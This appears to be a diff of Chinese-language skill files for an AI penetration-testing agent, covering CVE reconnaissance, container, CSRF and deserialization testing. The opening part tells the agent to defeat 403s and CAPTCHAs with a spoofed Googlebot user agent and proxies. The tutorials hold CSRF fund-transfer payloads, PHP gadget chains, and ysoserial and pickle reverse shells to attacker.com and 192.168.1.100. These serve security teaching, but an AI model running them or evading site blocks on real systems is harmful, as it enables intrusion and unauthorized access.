terminal: curl -s "https://api.github.com/search/repositories?q={C}+CVE&sort=stars&per_page=5" | python3 -c "import sys,json;d=json.load(sys.stdin);[print(x['full_name'],x['stargazers_count'],'★',x.get('description','')[:50]) for x in d.get('items',[])]"
|
||||||
|
找到仓库后: curl -s "https://api.github.com/repos/{owner}/{repo}/readme" | python3 -c "import sys,json,base64;print(base64.b64decode(json.load(sys.stdin)['content']).decode())"
|
||||||
|
|
||||||
|
5.资产引擎(找同类目标/暴露面):
|
||||||
|
browser_navigate: https://fofa.info/result?qbase64=$(echo -n 'app="{C}"' | base64)
|
||||||
|
browser_navigate: https://www.shodan.io/search?query={C}+{V}
|
||||||
|
browser_navigate: https://www.zoomeye.org/searchResult?q={C}
|
||||||
|
browser_navigate: https://search.censys.io/search?resource=hosts&q=services.software.product:{C}
|
||||||
|
|
||||||
|
6.即时情报(最新0day/在野利用):
|
||||||
|
browser_navigate: https://x.com/search?q={C}+CVE+OR+0day+OR+exploit&f=live
|
||||||
|
browser_navigate: https://www.reddit.com/r/netsec/search/?q={C}&sort=new&t=month
|
||||||
|
browser_navigate: https://www.exploit-db.com/search?q={C}
|
||||||
|
|
||||||
|
7.扩展链(必做): 搜完{C}后,提取其依赖清单(package.json/pom.xml/requirements.txt/go.mod)→对每个依赖重复1-6
|
||||||
|
|
||||||
|
🔴搜索受阻处理序列(碰到403/验证码/空结果/超时→按序执行不放弃):
|
||||||
|
①换UA: curl -H "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" "{URL}"
|
||||||
|
②Jina读取器: browser_navigate: https://r.jina.ai/{原始URL}
|
||||||
|
③Google缓存: browser_navigate: https://webcache.googleusercontent.com/search?q=cache:{域名}+{关键词}
|
||||||
|
④Archive: browser_navigate: https://web.archive.org/web/{URL}
|
||||||
|
⑤GitHub API替代(GitHub页面拦但API不拦): 用上面第4步的curl命令
|
||||||
|
⑥换引擎: Google拦→执行Bing/DuckDuckGo/百度; 百度拦→执行Google/Bing
|
||||||
|
⑦走代理: 按 `proxy-tool-bootstrap` 序列获取SOCKS5代理后重试
|
||||||
|
全部受阻仍无结果→写负Fact"已搜{C} {V}全渠道无公开漏洞"→转 `zero-day-discovery`
|
||||||
|
```
|
||||||
|
|
||||||
@@ -1,377 +0,0 @@
|
|||||||
---
|
|
||||||
name: container-security-testing
|
|
||||||
description: 容器安全测试的专业技能和方法论
|
|
||||||
version: 1.0.0
|
|
||||||
---
|
|
||||||
|
|
||||||
# 容器安全测试
|
|
||||||
|
|
||||||
## 概述
|
|
||||||
|
|
||||||
容器安全测试是确保容器化应用安全性的重要环节。本技能提供容器安全测试的方法、工具和最佳实践,涵盖Docker、Kubernetes等容器技术。
|
|
||||||
|
|
||||||
## 测试范围
|
|
||||||
|
|
||||||
### 1. 镜像安全
|
|
||||||
|
|
||||||
**检查项目:**
|
|
||||||
- 基础镜像漏洞
|
|
||||||
- 依赖包漏洞
|
|
||||||
- 镜像配置
|
|
||||||
- 敏感信息
|
|
||||||
|
|
||||||
### 2. 运行时安全
|
|
||||||
|
|
||||||
**检查项目:**
|
|
||||||
- 容器权限
|
|
||||||
- 资源限制
|
|
||||||
- 网络隔离
|
|
||||||
- 文件系统
|
|
||||||
|
|
||||||
### 3. 编排安全
|
|
||||||
|
|
||||||
**检查项目:**
|
|
||||||
- Kubernetes配置
|
|
||||||
- 服务账户
|
|
||||||
- RBAC
|
|
||||||
- 网络策略
|
|
||||||
|
|
||||||
## Docker安全测试
|
|
||||||
|
|
||||||
### 镜像扫描
|
|
||||||
|
|
||||||
**使用Trivy:**
|
|
||||||
```bash
|
|
||||||
# 扫描镜像
|
|
||||||
trivy image nginx:latest
|
|
||||||
|
|
||||||
# 扫描本地镜像
|
|
||||||
trivy image --input nginx.tar
|
|
||||||
|
|
||||||
# 只显示高危漏洞
|
|
||||||
trivy image --severity HIGH,CRITICAL nginx:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
**使用Clair:**
|
|
||||||
```bash
|
|
||||||
# 启动Clair
|
|
||||||
docker run -d --name clair clair:latest
|
|
||||||
|
|
||||||
# 扫描镜像
|
|
||||||
clair-scanner --ip 192.168.1.100 nginx:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
**使用Docker Bench:**
|
|
||||||
```bash
|
|
||||||
# 运行Docker安全基准测试
|
|
||||||
docker run --rm --net host --pid host --userns host --cap-add audit_control \
|
|
||||||
-e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
|
|
||||||
-v /etc:/etc:ro \
|
|
||||||
-v /usr/bin/containerd:/usr/bin/containerd:ro \
|
|
||||||
-v /usr/bin/runc:/usr/bin/runc:ro \
|
|
||||||
-v /usr/lib/systemd:/usr/lib/systemd:ro \
|
|
||||||
-v /var/lib:/var/lib:ro \
|
|
||||||
-v /var/run/docker.sock:/var/run/docker.sock:ro \
|
|
||||||
--label docker_bench_security \
|
|
||||||
docker/docker-bench-security
|
|
||||||
```
|
|
||||||
|
|
||||||
### 容器配置检查
|
|
||||||
|
|
||||||
**检查Dockerfile:**
|
|
||||||
```dockerfile
|
|
||||||
# 安全问题示例
|
|
||||||
FROM ubuntu:latest # 使用latest标签
|
|
||||||
RUN apt-get update && apt-get install -y curl # 未指定版本
|
|
||||||
COPY . /app # 可能包含敏感文件
|
|
||||||
ENV PASSWORD=secret # 硬编码密码
|
|
||||||
USER root # 使用root用户
|
|
||||||
```
|
|
||||||
|
|
||||||
**安全最佳实践:**
|
|
||||||
```dockerfile
|
|
||||||
# 使用特定版本
|
|
||||||
FROM ubuntu:20.04
|
|
||||||
|
|
||||||
# 指定包版本
|
|
||||||
RUN apt-get update && apt-get install -y curl=7.68.0-1ubuntu2.7
|
|
||||||
|
|
||||||
# 使用非root用户
|
|
||||||
RUN useradd -m appuser
|
|
||||||
USER appuser
|
|
||||||
|
|
||||||
# 最小化镜像
|
|
||||||
FROM alpine:3.15
|
|
||||||
|
|
||||||
# 多阶段构建
|
|
||||||
FROM golang:1.18 AS builder
|
|
||||||
WORKDIR /app
|
|
||||||
COPY . .
|
|
||||||
RUN go build -o app
|
|
||||||
|
|
||||||
FROM alpine:3.15
|
|
||||||
COPY --from=builder /app/app /app
|
|
||||||
```
|
|
||||||
|
|
||||||
### 运行时检查
|
|
||||||
|
|
||||||
**检查容器权限:**
|
|
||||||
```bash
|
|
||||||
# 检查特权容器
|
|
||||||
docker ps --filter "label=privileged=true"
|
|
||||||
|
|
||||||
# 检查挂载的主机目录
|
|
||||||
docker inspect container_name | grep -A 10 Mounts
|
|
||||||
|
|
||||||
# 检查容器网络
|
|
||||||
docker network inspect network_name
|
|
||||||
```
|
|
||||||
|
|
||||||
**检查资源限制:**
|
|
||||||
```bash
|
|
||||||
# 检查内存限制
|
|
||||||
docker stats container_name
|
|
||||||
|
|
||||||
# 检查CPU限制
|
|
||||||
docker inspect container_name | grep -i cpu
|
|
||||||
```
|
|
||||||
|
|
||||||
## Kubernetes安全测试
|
|
||||||
|
|
||||||
### 配置检查
|
|
||||||
|
|
||||||
**使用kube-bench:**
|
|
||||||
```bash
|
|
||||||
# 运行kube-bench
|
|
||||||
kube-bench run
|
|
||||||
|
|
||||||
# 检查特定基准
|
|
||||||
kube-bench run --targets master,node,etcd
|
|
||||||
```
|
|
||||||
|
|
||||||
**使用kube-hunter:**
|
|
||||||
```bash
|
|
||||||
# 运行kube-hunter
|
|
||||||
kube-hunter --remote target-ip
|
|
||||||
|
|
||||||
# 主动模式
|
|
||||||
kube-hunter --active
|
|
||||||
```
|
|
||||||
|
|
||||||
### Pod安全
|
|
||||||
|
|
||||||
**检查Pod安全策略:**
|
|
||||||
```yaml
|
|
||||||
# 不安全的Pod配置
|
|
||||||
apiVersion: v1
|
|
||||||
kind: Pod
|
|
||||||
spec:
|
|
||||||
containers:
|
|
||||||
- name: app
|
|
||||||
image: nginx
|
|
||||||
securityContext:
|
|
||||||
privileged: true # 特权模式
|
|
||||||
runAsUser: 0 # root用户
|
|
||||||
```
|
|
||||||
|
|
||||||
**安全配置:**
|
|
||||||
```yaml
|
|
||||||
apiVersion: v1
|
|
||||||
kind: Pod
|
|
||||||
spec:
|
|
||||||
securityContext:
|
|
||||||
runAsNonRoot: true
|
|
||||||
runAsUser: 1000
|
|
||||||
fsGroup: 2000
|
|
||||||
containers:
|
|
||||||
- name: app
|
|
||||||
image: nginx
|
|
||||||
securityContext:
|
|
||||||
allowPrivilegeEscalation: false
|
|
||||||
readOnlyRootFilesystem: true
|
|
||||||
capabilities:
|
|
||||||
drop:
|
|
||||||
- ALL
|
|
||||||
add:
|
|
||||||
- NET_BIND_SERVICE
|
|
||||||
```
|
|
||||||
|
|
||||||
### RBAC检查
|
|
||||||
|
|
||||||
**检查角色权限:**
|
|
||||||
```bash
|
|
||||||
# 列出所有角色
|
|
||||||
kubectl get roles --all-namespaces
|
|
||||||
|
|
||||||
# 检查角色绑定
|
|
||||||
kubectl get rolebindings --all-namespaces
|
|
||||||
|
|
||||||
# 检查集群角色
|
|
||||||
kubectl get clusterroles
|
|
||||||
|
|
||||||
# 检查用户权限
|
|
||||||
kubectl auth can-i --list --as=system:serviceaccount:default:sa-name
|
|
||||||
```
|
|
||||||
|
|
||||||
**常见问题:**
|
|
||||||
- 过度权限
|
|
||||||
- 未使用的角色
|
|
||||||
- 未使用的服务账户
|
|
||||||
|
|
||||||
### 网络策略
|
|
||||||
|
|
||||||
**检查网络策略:**
|
|
||||||
```bash
|
|
||||||
# 列出所有网络策略
|
|
||||||
kubectl get networkpolicies --all-namespaces
|
|
||||||
|
|
||||||
# 检查网络策略配置
|
|
||||||
kubectl describe networkpolicy policy-name -n namespace
|
|
||||||
```
|
|
||||||
|
|
||||||
**网络策略示例:**
|
|
||||||
```yaml
|
|
||||||
apiVersion: networking.k8s.io/v1
|
|
||||||
kind: NetworkPolicy
|
|
||||||
metadata:
|
|
||||||
name: default-deny
|
|
||||||
spec:
|
|
||||||
podSelector: {}
|
|
||||||
policyTypes:
|
|
||||||
- Ingress
|
|
||||||
- Egress
|
|
||||||
```
|
|
||||||
|
|
||||||
## 工具使用
|
|
||||||
|
|
||||||
### Falco
|
|
||||||
|
|
||||||
**运行时安全监控:**
|
|
||||||
```bash
|
|
||||||
# 安装Falco
|
|
||||||
helm repo add falcosecurity https://falcosecurity.github.io/charts
|
|
||||||
helm install falco falcosecurity/falco
|
|
||||||
|
|
||||||
# 检查规则
|
|
||||||
falco -r /etc/falco/rules.d/
|
|
||||||
```
|
|
||||||
|
|
||||||
### Aqua Security
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 扫描镜像
|
|
||||||
aqua image scan nginx:latest
|
|
||||||
|
|
||||||
# 扫描Kubernetes集群
|
|
||||||
aqua k8s scan
|
|
||||||
```
|
|
||||||
|
|
||||||
### Snyk
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 扫描Dockerfile
|
|
||||||
snyk test --docker nginx:latest
|
|
||||||
|
|
||||||
# 扫描Kubernetes配置
|
|
||||||
snyk iac test k8s/
|
|
||||||
```
|
|
||||||
|
|
||||||
## 测试清单
|
|
||||||
|
|
||||||
### 镜像安全
|
|
||||||
- [ ] 扫描基础镜像漏洞
|
|
||||||
- [ ] 扫描依赖包漏洞
|
|
||||||
- [ ] 检查Dockerfile配置
|
|
||||||
- [ ] 检查敏感信息泄露
|
|
||||||
|
|
||||||
### 运行时安全
|
|
||||||
- [ ] 检查容器权限
|
|
||||||
- [ ] 检查资源限制
|
|
||||||
- [ ] 检查网络隔离
|
|
||||||
- [ ] 检查文件系统挂载
|
|
||||||
|
|
||||||
### 编排安全
|
|
||||||
- [ ] 检查Kubernetes配置
|
|
||||||
- [ ] 检查RBAC配置
|
|
||||||
- [ ] 检查网络策略
|
|
||||||
- [ ] 检查Pod安全策略
|
|
||||||
|
|
||||||
## 常见安全问题
|
|
||||||
|
|
||||||
### 1. 镜像漏洞
|
|
||||||
|
|
||||||
**问题:**
|
|
||||||
- 基础镜像包含漏洞
|
|
||||||
- 依赖包包含漏洞
|
|
||||||
- 未及时更新
|
|
||||||
|
|
||||||
**修复:**
|
|
||||||
- 定期扫描镜像
|
|
||||||
- 及时更新基础镜像
|
|
||||||
- 使用最小化镜像
|
|
||||||
|
|
||||||
### 2. 过度权限
|
|
||||||
|
|
||||||
**问题:**
|
|
||||||
- 容器以root运行
|
|
||||||
- 特权模式
|
|
||||||
- 挂载敏感目录
|
|
||||||
|
|
||||||
**修复:**
|
|
||||||
- 使用非root用户
|
|
||||||
- 禁用特权模式
|
|
||||||
- 限制文件系统访问
|
|
||||||
|
|
||||||
### 3. 配置错误
|
|
||||||
|
|
||||||
**问题:**
|
|
||||||
- 默认配置不安全
|
|
||||||
- 网络策略缺失
|
|
||||||
- RBAC配置错误
|
|
||||||
|
|
||||||
**修复:**
|
|
||||||
- 遵循安全最佳实践
|
|
||||||
- 实施网络策略
|
|
||||||
- 正确配置RBAC
|
|
||||||
|
|
||||||
### 4. 敏感信息泄露
|
|
||||||
|
|
||||||
**问题:**
|
|
||||||
- 镜像包含密钥
|
|
||||||
- 环境变量暴露
|
|
||||||
- 配置文件泄露
|
|
||||||
|
|
||||||
**修复:**
|
|
||||||
- 使用密钥管理
|
|
||||||
- 避免硬编码
|
|
||||||
- 使用Secret对象
|
|
||||||
|
|
||||||
## 最佳实践
|
|
||||||
|
|
||||||
### 1. 镜像安全
|
|
||||||
|
|
||||||
- 使用官方基础镜像
|
|
||||||
- 定期更新镜像
|
|
||||||
- 扫描镜像漏洞
|
|
||||||
- 最小化镜像大小
|
|
||||||
|
|
||||||
### 2. 运行时安全
|
|
||||||
|
|
||||||
- 使用非root用户
|
|
||||||
- 限制容器权限
|
|
||||||
- 实施资源限制
|
|
||||||
- 启用安全上下文
|
|
||||||
|
|
||||||
### 3. 编排安全
|
|
||||||
|
|
||||||
- 配置网络策略
|
|
||||||
- 实施RBAC
|
|
||||||
- 使用Pod安全策略
|
|
||||||
- 启用审计日志
|
|
||||||
|
|
||||||
## 注意事项
|
|
||||||
|
|
||||||
- 仅在授权环境中进行测试
|
|
||||||
- 避免对生产环境造成影响
|
|
||||||
- 注意不同容器平台的差异
|
|
||||||
- 定期进行安全扫描
|
|
||||||
@@ -1,199 +0,0 @@
|
|||||||
---
|
|
||||||
name: csrf-testing
|
|
||||||
description: CSRF跨站请求伪造测试的专业技能和方法论
|
|
||||||
version: 1.0.0
|
|
||||||
---
|
|
||||||
|
|
||||||
# CSRF跨站请求伪造测试
|
|
||||||
|
|
||||||
## 概述
|
|
||||||
|
|
||||||
CSRF(Cross-Site Request Forgery)是一种利用用户已登录状态进行未授权操作的攻击方式。本技能提供CSRF漏洞的检测、利用和防护方法。
|
|
||||||
|
|
||||||
## 漏洞原理
|
|
||||||
|
|
||||||
- 攻击者诱导用户访问恶意页面
|
|
||||||
- 恶意页面自动发送请求到目标网站
|
|
||||||
- 浏览器自动携带用户的认证信息(Cookie、Session)
|
|
||||||
- 目标网站误认为是用户合法操作
|
|
||||||
|
|
||||||
## 测试方法
|
|
||||||
|
|
||||||
### 1. 识别敏感操作
|
|
||||||
|
|
||||||
- 密码修改
|
|
||||||
- 邮箱修改
|
|
||||||
- 转账操作
|
|
||||||
- 权限变更
|
|
||||||
- 数据删除
|
|
||||||
- 状态更新
|
|
||||||
|
|
||||||
### 2. 检测CSRF Token
|
|
||||||
|
|
||||||
**检查是否有Token保护:**
|
|
||||||
```html
|
|
||||||
<!-- 有Token保护 -->
|
|
||||||
<form method="POST" action="/change-password">
|
|
||||||
<input type="hidden" name="csrf_token" value="abc123">
|
|
||||||
<input type="password" name="new_password">
|
|
||||||
</form>
|
|
||||||
|
|
||||||
<!-- 无Token保护 - 存在CSRF风险 -->
|
|
||||||
<form method="POST" action="/change-email">
|
|
||||||
<input type="email" name="new_email">
|
|
||||||
</form>
|
|
||||||
```
|
|
||||||
|
|
||||||
### 3. 验证Token有效性
|
|
||||||
|
|
||||||
**测试Token是否可预测:**
|
|
||||||
- Token是否基于时间戳
|
|
||||||
- Token是否基于用户ID
|
|
||||||
- Token是否可重复使用
|
|
||||||
- Token是否在多个请求间共享
|
|
||||||
|
|
||||||
### 4. 检查Referer验证
|
|
||||||
|
|
||||||
**测试Referer检查是否可绕过:**
|
|
||||||
```javascript
|
|
||||||
// 正常请求
|
|
||||||
Referer: https://target.com/change-password
|
|
||||||
|
|
||||||
// 测试绕过
|
|
||||||
Referer: https://target.com.evil.com
|
|
||||||
Referer: https://evil.com/?target.com
|
|
||||||
Referer: (空)
|
|
||||||
```
|
|
||||||
|
|
||||||
## 利用技术
|
|
||||||
|
|
||||||
### 基础CSRF攻击
|
|
||||||
|
|
||||||
**HTML表单自动提交:**
|
|
||||||
```html
|
|
||||||
<form action="https://target.com/api/transfer" method="POST" id="csrf">
|
|
||||||
<input type="hidden" name="to" value="attacker_account">
|
|
||||||
<input type="hidden" name="amount" value="10000">
|
|
||||||
</form>
|
|
||||||
<script>document.getElementById('csrf').submit();</script>
|
|
||||||
```
|
|
||||||
|
|
||||||
### JSON CSRF
|
|
||||||
|
|
||||||
**绕过Content-Type检查:**
|
|
||||||
```html
|
|
||||||
<!-- 使用form表单提交JSON -->
|
|
||||||
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
|
|
||||||
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
|
|
||||||
</form>
|
|
||||||
<script>document.forms[0].submit();</script>
|
|
||||||
```
|
|
||||||
|
|
||||||
### GET请求CSRF
|
|
||||||
|
|
||||||
**利用GET请求进行攻击:**
|
|
||||||
```html
|
|
||||||
<img src="https://target.com/api/delete?id=123">
|
|
||||||
```
|
|
||||||
|
|
||||||
## 绕过技术
|
|
||||||
|
|
||||||
### Token绕过
|
|
||||||
|
|
||||||
**如果Token在Cookie中:**
|
|
||||||
```javascript
|
|
||||||
// 如果Token同时存在于Cookie和表单中
|
|
||||||
// 可以尝试只提交Cookie中的Token
|
|
||||||
fetch('https://target.com/api/action', {
|
|
||||||
method: 'POST',
|
|
||||||
credentials: 'include',
|
|
||||||
body: 'action=delete&id=123'
|
|
||||||
// 不包含csrf_token参数,依赖Cookie
|
|
||||||
});
|
|
||||||
```
|
|
||||||
|
|
||||||
### SameSite Cookie绕过
|
|
||||||
|
|
||||||
**利用子域名:**
|
|
||||||
- 如果SameSite=Lax,GET请求仍可携带Cookie
|
|
||||||
- 利用子域名进行攻击
|
|
||||||
|
|
||||||
### 双重提交Cookie
|
|
||||||
|
|
||||||
**绕过Token验证:**
|
|
||||||
```html
|
|
||||||
<!-- 如果Token在Cookie中,且验证逻辑有缺陷 -->
|
|
||||||
<form action="https://target.com/api/action" method="POST">
|
|
||||||
<input type="hidden" name="csrf_token" value="">
|
|
||||||
<script>
|
|
||||||
// 从Cookie中读取Token
|
|
||||||
document.cookie.split(';').forEach(c => {
|
|
||||||
if(c.trim().startsWith('csrf_token=')) {
|
|
||||||
document.querySelector('input[name="csrf_token"]').value =
|
|
||||||
c.split('=')[1];
|
|
||||||
}
|
|
||||||
});
|
|
||||||
</script>
|
|
||||||
</form>
|
|
||||||
```
|
|
||||||
|
|
||||||
## 工具使用
|
|
||||||
|
|
||||||
### Burp Suite
|
|
||||||
|
|
||||||
**使用CSRF PoC生成器:**
|
|
||||||
1. 拦截目标请求
|
|
||||||
2. 右键 → Engagement tools → Generate CSRF PoC
|
|
||||||
3. 测试生成的PoC
|
|
||||||
|
|
||||||
### OWASP ZAP
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 使用ZAP进行CSRF扫描
|
|
||||||
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://target.com
|
|
||||||
```
|
|
||||||
|
|
||||||
## 验证和报告
|
|
||||||
|
|
||||||
### 验证步骤
|
|
||||||
|
|
||||||
1. 确认目标操作没有CSRF Token保护
|
|
||||||
2. 构造恶意请求并验证可执行
|
|
||||||
3. 评估影响(数据泄露、权限提升、资金损失等)
|
|
||||||
4. 记录完整的POC
|
|
||||||
|
|
||||||
### 报告要点
|
|
||||||
|
|
||||||
- 漏洞位置和受影响的操作
|
|
||||||
- 攻击场景和影响范围
|
|
||||||
- 完整的利用步骤和PoC
|
|
||||||
- 修复建议(CSRF Token、SameSite Cookie、Referer验证等)
|
|
||||||
|
|
||||||
## 防护措施
|
|
||||||
|
|
||||||
### 推荐方案
|
|
||||||
|
|
||||||
1. **CSRF Token**
|
|
||||||
- 每个表单包含唯一Token
|
|
||||||
- Token存储在Session中
|
|
||||||
- 验证Token有效性
|
|
||||||
|
|
||||||
2. **SameSite Cookie**
|
|
||||||
```javascript
|
|
||||||
Set-Cookie: session=abc123; SameSite=Strict; Secure
|
|
||||||
```
|
|
||||||
|
|
||||||
3. **双重提交Cookie**
|
|
||||||
- Token同时存在于Cookie和表单
|
|
||||||
- 验证两者是否匹配
|
|
||||||
|
|
||||||
4. **Referer验证**
|
|
||||||
- 验证Referer是否为同源
|
|
||||||
- 注意空Referer的处理
|
|
||||||
|
|
||||||
## 注意事项
|
|
||||||
|
|
||||||
- 仅在授权测试环境中进行
|
|
||||||
- 避免对用户账户造成实际影响
|
|
||||||
- 记录所有测试步骤
|
|
||||||
- 考虑不同浏览器的行为差异
|
|
||||||
@@ -1,310 +0,0 @@
|
|||||||
---
|
|
||||||
name: deserialization-testing
|
|
||||||
description: 反序列化漏洞测试的专业技能和方法论
|
|
||||||
version: 1.0.0
|
|
||||||
---
|
|
||||||
|
|
||||||
# 反序列化漏洞测试
|
|
||||||
|
|
||||||
## 概述
|
|
||||||
|
|
||||||
反序列化漏洞是一种利用应用程序反序列化不可信数据导致的漏洞,可能导致远程代码执行、拒绝服务等。本技能提供反序列化漏洞的检测、利用和防护方法。
|
|
||||||
|
|
||||||
## 漏洞原理
|
|
||||||
|
|
||||||
应用程序将序列化的数据反序列化为对象时,如果数据来源不可信,攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。
|
|
||||||
|
|
||||||
## 常见格式
|
|
||||||
|
|
||||||
### Java
|
|
||||||
|
|
||||||
**常见库:**
|
|
||||||
- Java原生序列化
|
|
||||||
- Jackson
|
|
||||||
- Fastjson
|
|
||||||
- XStream
|
|
||||||
- Apache Commons Collections
|
|
||||||
|
|
||||||
### PHP
|
|
||||||
|
|
||||||
**常见函数:**
|
|
||||||
- unserialize()
|
|
||||||
- json_decode()
|
|
||||||
|
|
||||||
### Python
|
|
||||||
|
|
||||||
**常见模块:**
|
|
||||||
- pickle
|
|
||||||
- yaml
|
|
||||||
- json
|
|
||||||
|
|
||||||
### .NET
|
|
||||||
|
|
||||||
**常见类:**
|
|
||||||
- BinaryFormatter
|
|
||||||
- SoapFormatter
|
|
||||||
- DataContractSerializer
|
|
||||||
|
|
||||||
## 测试方法
|
|
||||||
|
|
||||||
### 1. 识别序列化数据
|
|
||||||
|
|
||||||
**Java序列化特征:**
|
|
||||||
```
|
|
||||||
AC ED 00 05 (十六进制)
|
|
||||||
rO0 (Base64)
|
|
||||||
```
|
|
||||||
|
|
||||||
**PHP序列化特征:**
|
|
||||||
```
|
|
||||||
O:8:"stdClass"
|
|
||||||
a:2:{s:4:"test";s:4:"data";}
|
|
||||||
```
|
|
||||||
|
|
||||||
**Python pickle特征:**
|
|
||||||
```
|
|
||||||
\x80\x03
|
|
||||||
```
|
|
||||||
|
|
||||||
### 2. 检测反序列化点
|
|
||||||
|
|
||||||
**常见位置:**
|
|
||||||
- Cookie值
|
|
||||||
- Session数据
|
|
||||||
- API参数
|
|
||||||
- 文件上传
|
|
||||||
- 缓存数据
|
|
||||||
- 消息队列
|
|
||||||
|
|
||||||
### 3. Java反序列化
|
|
||||||
|
|
||||||
**Apache Commons Collections利用:**
|
|
||||||
```java
|
|
||||||
// 使用ysoserial生成Payload
|
|
||||||
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
|
|
||||||
```
|
|
||||||
|
|
||||||
**常见Gadget链:**
|
|
||||||
- CommonsCollections1-7
|
|
||||||
- Spring1-2
|
|
||||||
- ROME
|
|
||||||
- Jdk7u21
|
|
||||||
|
|
||||||
### 4. PHP反序列化
|
|
||||||
|
|
||||||
**基础测试:**
|
|
||||||
```php
|
|
||||||
<?php
|
|
||||||
class Test {
|
|
||||||
public $cmd = "id";
|
|
||||||
function __destruct() {
|
|
||||||
system($this->cmd);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
echo serialize(new Test());
|
|
||||||
// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
|
|
||||||
?>
|
|
||||||
```
|
|
||||||
|
|
||||||
**魔术方法利用:**
|
|
||||||
- __destruct()
|
|
||||||
- __wakeup()
|
|
||||||
- __toString()
|
|
||||||
- __call()
|
|
||||||
|
|
||||||
### 5. Python pickle
|
|
||||||
|
|
||||||
**基础测试:**
|
|
||||||
```python
|
|
||||||
import pickle
|
|
||||||
import os
|
|
||||||
|
|
||||||
class RCE:
|
|
||||||
def __reduce__(self):
|
|
||||||
return (os.system, ('id',))
|
|
||||||
|
|
||||||
pickle.dumps(RCE())
|
|
||||||
```
|
|
||||||
|
|
||||||
## 利用技术
|
|
||||||
|
|
||||||
### Java RCE
|
|
||||||
|
|
||||||
**使用ysoserial:**
|
|
||||||
```bash
|
|
||||||
# 生成Payload
|
|
||||||
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
|
|
||||||
|
|
||||||
# Base64编码
|
|
||||||
base64 -w 0 payload.bin
|
|
||||||
```
|
|
||||||
|
|
||||||
**手动构造:**
|
|
||||||
```java
|
|
||||||
// 使用Gadget链构造恶意对象
|
|
||||||
// 参考ysoserial源码
|
|
||||||
```
|
|
||||||
|
|
||||||
### PHP RCE
|
|
||||||
|
|
||||||
**利用POP链:**
|
|
||||||
```php
|
|
||||||
<?php
|
|
||||||
class A {
|
|
||||||
public $b;
|
|
||||||
function __destruct() {
|
|
||||||
$this->b->test();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
class B {
|
|
||||||
public $c;
|
|
||||||
function test() {
|
|
||||||
call_user_func($this->c, "id");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
$a = new A();
|
|
||||||
$a->b = new B();
|
|
||||||
$a->b->c = "system";
|
|
||||||
echo serialize($a);
|
|
||||||
?>
|
|
||||||
```
|
|
||||||
|
|
||||||
### Python RCE
|
|
||||||
|
|
||||||
**Pickle RCE:**
|
|
||||||
```python
|
|
||||||
import pickle
|
|
||||||
import base64
|
|
||||||
import os
|
|
||||||
|
|
||||||
class RCE:
|
|
||||||
def __reduce__(self):
|
|
||||||
return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',))
|
|
||||||
|
|
||||||
payload = pickle.dumps(RCE())
|
|
||||||
print(base64.b64encode(payload))
|
|
||||||
```
|
|
||||||
|
|
||||||
## 绕过技术
|
|
||||||
|
|
||||||
### 编码绕过
|
|
||||||
|
|
||||||
**Base64编码:**
|
|
||||||
```
|
|
||||||
原始: rO0ABXNy...
|
|
||||||
编码: ck8wQUJYTnk...
|
|
||||||
```
|
|
||||||
|
|
||||||
**URL编码:**
|
|
||||||
```
|
|
||||||
%72%4F%00%AB...
|
|
||||||
```
|
|
||||||
|
|
||||||
### 过滤器绕过
|
|
||||||
|
|
||||||
**使用不同Gadget链:**
|
|
||||||
- 如果CommonsCollections被过滤,尝试Spring
|
|
||||||
- 如果某个版本被过滤,尝试其他版本
|
|
||||||
|
|
||||||
### 类名混淆
|
|
||||||
|
|
||||||
**使用反射:**
|
|
||||||
```java
|
|
||||||
Class.forName("java.lang.Runtime").getMethod("exec", String.class)
|
|
||||||
```
|
|
||||||
|
|
||||||
## 工具使用
|
|
||||||
|
|
||||||
### ysoserial
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 列出可用Gadget
|
|
||||||
java -jar ysoserial.jar
|
|
||||||
|
|
||||||
# 生成Payload
|
|
||||||
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
|
|
||||||
|
|
||||||
# 生成Base64
|
|
||||||
java -jar ysoserial.jar CommonsCollections1 "command" | base64
|
|
||||||
```
|
|
||||||
|
|
||||||
### PHPGGC
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 列出可用Gadget
|
|
||||||
./phpggc -l
|
|
||||||
|
|
||||||
# 生成Payload
|
|
||||||
./phpggc Monolog/RCE1 system id
|
|
||||||
|
|
||||||
# 生成编码Payload
|
|
||||||
./phpggc -b Monolog/RCE1 system id
|
|
||||||
```
|
|
||||||
|
|
||||||
### Burp Suite
|
|
||||||
|
|
||||||
1. 拦截包含序列化数据的请求
|
|
||||||
2. 使用插件生成Payload
|
|
||||||
3. 替换原始数据
|
|
||||||
4. 观察响应
|
|
||||||
|
|
||||||
## 验证和报告
|
|
||||||
|
|
||||||
### 验证步骤
|
|
||||||
|
|
||||||
1. 确认可以控制序列化数据
|
|
||||||
2. 验证反序列化触发代码执行
|
|
||||||
3. 评估影响(RCE、数据泄露等)
|
|
||||||
4. 记录完整的POC
|
|
||||||
|
|
||||||
### 报告要点
|
|
||||||
|
|
||||||
- 漏洞位置和序列化数据格式
|
|
||||||
- 使用的Gadget链或利用方式
|
|
||||||
- 完整的利用步骤和PoC
|
|
||||||
- 修复建议(输入验证、使用安全序列化等)
|
|
||||||
|
|
||||||
## 防护措施
|
|
||||||
|
|
||||||
### 推荐方案
|
|
||||||
|
|
||||||
1. **避免反序列化不可信数据**
|
|
||||||
- 使用JSON替代
|
|
||||||
- 使用安全的序列化格式
|
|
||||||
|
|
||||||
2. **输入验证**
|
|
||||||
